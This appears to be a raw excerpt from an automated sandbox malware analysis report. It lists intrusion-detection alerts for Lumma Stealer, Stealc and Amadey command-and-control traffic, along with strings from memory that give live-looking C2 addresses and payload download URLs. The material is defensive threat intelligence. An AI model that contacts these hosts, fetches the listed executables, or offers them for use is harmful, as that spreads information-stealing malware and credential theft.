2024-12-18T12:01:19.313439+0100	2057975	1	Domain Observed Used for C2 Detected	192.168.2.6	61567	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:01:20.610636+0100	2057979	1	Domain Observed Used for C2 Detected	192.168.2.6	59800	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:01:02.461794+0100	2058362	1	Domain Observed Used for C2 Detected	192.168.2.6	51179	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:01:20.839874+0100	2057977	1	Domain Observed Used for C2 Detected	192.168.2.6	59512	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:01:21.613550+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.6	53212	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:01:21.297886+0100	2057971	1	Domain Observed Used for C2 Detected	192.168.2.6	53153	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:01:19.906756+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.6	55706	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:01:20.213701+0100	2057981	1	Domain Observed Used for C2 Detected	192.168.2.6	52099	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:14.239942+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.17	80	192.168.2.6	49913	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:13.928408+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49913	185.215.113.17	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:14.611102+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49913	185.215.113.17	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:16.208298+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49913	185.215.113.17	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:15.125727+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.17	80	192.168.2.6	49913	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:43.456579+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49993	104.21.23.76	443	TCP
2024-12-18T12:01:40.921866+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50087	172.67.157.254	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:13.465206+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49913	185.215.113.17	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:05.225437+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49902	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:06.112240+0100	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.6	49902	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:06.433619+0100	2803305	3	Unknown Traffic	192.168.2.6	49902	185.215.113.16	80	TCP
2024-12-18T12:00:09.914366+0100	2803305	3	Unknown Traffic	192.168.2.6	49914	185.215.113.16	80	TCP
2024-12-18T12:00:15.163131+0100	2803305	3	Unknown Traffic	192.168.2.6	49930	185.215.113.36	80	TCP
2024-12-18T12:00:19.167171+0100	2803305	3	Unknown Traffic	192.168.2.6	49938	185.215.113.16	80	TCP
2024-12-18T12:00:23.000118+0100	2803305	3	Unknown Traffic	192.168.2.6	49950	185.215.113.16	80	TCP
2024-12-18T12:00:33.796723+0100	2803305	3	Unknown Traffic	192.168.2.6	49977	185.215.113.16	80	TCP
2024-12-18T12:00:54.012030+0100	2803305	3	Unknown Traffic	192.168.2.6	50035	185.215.113.16	80	TCP
2024-12-18T12:00:58.563723+0100	2803305	3	Unknown Traffic	192.168.2.6	50041	185.215.113.16	80	TCP
2024-12-18T12:01:10.460353+0100	2803305	3	Unknown Traffic	192.168.2.6	50060	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:00:17.166353+0100	2803304	3	Unknown Traffic	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:25.311464+0100	2803304	3	Unknown Traffic	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:27.006833+0100	2803304	3	Unknown Traffic	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:28.377509+0100	2803304	3	Unknown Traffic	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:29.368770+0100	2803304	3	Unknown Traffic	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:32.845430+0100	2803304	3	Unknown Traffic	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:33.954552+0100	2803304	3	Unknown Traffic	192.168.2.6	49913	185.215.113.17	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T12:01:24.140985+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50068	23.55.153.106	443	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click

Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4722127754.0000000005AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpJR
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpV
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpc
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpnu
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/goldddd123.exe/
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/goldddd123.exe;
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/legs.exe
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/legs.exee
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/roblox.exe
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/sintv.exe
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/sintv.exeM
Source: axplong.exe, 00000013.00000002.4715685872.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/stealc_default2.exe
Source: axplong.exe, 00000013.00000002.4715685872.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/stealc_default2.exed
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/trunk.exe
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/trunk.exe%
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/v_dolg.exe
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/v_dolg.exe0
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe)
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe3
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeu
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/am209.exe&
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/am209.exeA
Source: stealc_default2.exe, 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmp, stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/
Source: stealc_default2.exe, 00000014.00000003.3100065357.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.php
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.php)
Source: stealc_default2.exe, 00000014.00000003.3100065357.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.php7
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpCoinomi
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpG
Source: stealc_default2.exe, 00000014.00000003.3100065357.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpN
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpU
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpata
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpce
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpdllc
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpl
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpm
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phprowser
Source: stealc_default2.exe, 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phption:
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpxyY
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/N9
Source: stealc_default2.exe, 00000014.00000003.3100065357.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/c
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/freebl3.dll
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/freebl3.dllA
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/freebl3.dllE
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/mozglue.dll
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/mozglue.dll#
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/msvcp140.dll
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/msvcp140.dllS
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/nss3.dllk
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/nss3.dllx
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/softokn3.dll
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/softokn3.dll1
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/softokn3.dll5
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/softokn3.dllo
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/softokn3.dlly
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/sqlite3.dll
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/vcruntime140.dll
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/vcruntime140.dll(_
Source: stealc_default2.exe, 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.172fb6c2cc8dce150a.phption:
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17J9
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17tm
Source: defnur.exe, 0000001D.00000002.4695646225.0000000000A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.php
Source: defnur.exe, 0000001D.00000002.4695646225.00000000009E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.php-Z
Source: defnur.exe, 0000001D.00000002.4695646225.00000000009E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.php3
Source: defnur.exe, 0000001D.00000002.4695646225.00000000009E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpI
Source: defnur.exe, 0000001D.00000002.4695646225.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpNSAPI.dll
Source: defnur.exe, 0000001D.00000002.4695646225.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpZ
Source: defnur.exe, 0000001D.00000002.4695646225.00000000009E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpaZ
Source: defnur.exe, 0000001D.00000002.4695646225.0000000000A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpd
Source: defnur.exe, 0000001D.00000002.4695646225.0000000000A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpded
Source: defnur.exe, 0000001D.00000002.4695646225.0000000000A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpdedv
Source: defnur.exe, 0000001D.00000002.4695646225.00000000009E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpi
Source: defnur.exe, 0000001D.00000002.4695646225.0000000000A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpncoded
Source: defnur.exe, 0000001D.00000002.4695646225.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpshqos.dll
Source: defnur.exe, 0000001D.00000002.4695646225.00000000009E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpv1pd0GiQVLzgISoZ43f2XK=
Source: defnur.exe, 0000001D.00000002.4695646225.00000000009E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Fru7Nk9/index.phpy1mb3JtLXVybGVuY29kZWQ=A
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.36/AllNew.exe
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11//Jo89Ku7d/index.phps
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4722127754.0000000005AC7000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4722127754.0000000005AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe0-
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe01
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe01a
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe9
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe9d16e70b8b7293a8b9a736f2f4eba64f3S
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe:
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exeF
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exeJ
Source: axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exeed
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: legs.exe, 00000017.00000003.3177816453.0000000003BED000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3889572812.000000000379B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: stub.exe, 00000023.00000003.3718897767.0000022F66F4F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718746787.0000022F66F42000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718319749.0000022F66F1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718958593.0000022F66F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: stub.exe, 00000023.00000003.3720256243.0000022F6702D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
